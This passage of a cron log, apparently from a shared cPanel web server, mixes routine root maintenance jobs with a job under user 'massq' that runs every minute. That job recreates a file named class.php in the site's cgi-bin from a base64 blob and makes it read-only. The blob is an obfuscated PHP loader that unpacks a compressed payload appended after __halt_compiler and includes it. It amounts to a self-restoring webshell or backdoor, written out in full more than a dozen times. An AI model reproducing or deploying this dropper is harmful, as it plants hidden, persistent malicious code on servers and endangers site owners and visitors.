RmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:30:01 server CROND[2122]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 14:30:01 server CROND[2123]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 14:30:01 server CROND[2124]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:30:01 server CROND[2126]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 14:31:01 server CROND[2343]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:32:01 server CROND[2391]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:33:01 server CROND[2446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:34:01 server CROND[2501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:35:01 server CROND[2562]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 14:35:01 server CROND[2563]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 14:35:01 server CROND[2567]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 14:35:01 server CROND[2565]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:35:01 server CROND[2566]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  8 14:36:01 server CROND[2772]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:37:01 server CROND[2829]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:38:01 server CROND[2904]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:39:01 server CROND[2953]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:39:01 server CROND[2954]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 14:40:01 server CROND[3037]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 14:40:01 server CROND[3038]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 14:40:01 server CROND[3039]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:40:01 server CROND[3040]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 14:41:01 server CROND[3262]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:42:01 server CROND[3325]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:42:01 server CROND[3326]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 14:43:01 server CROND[3395]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 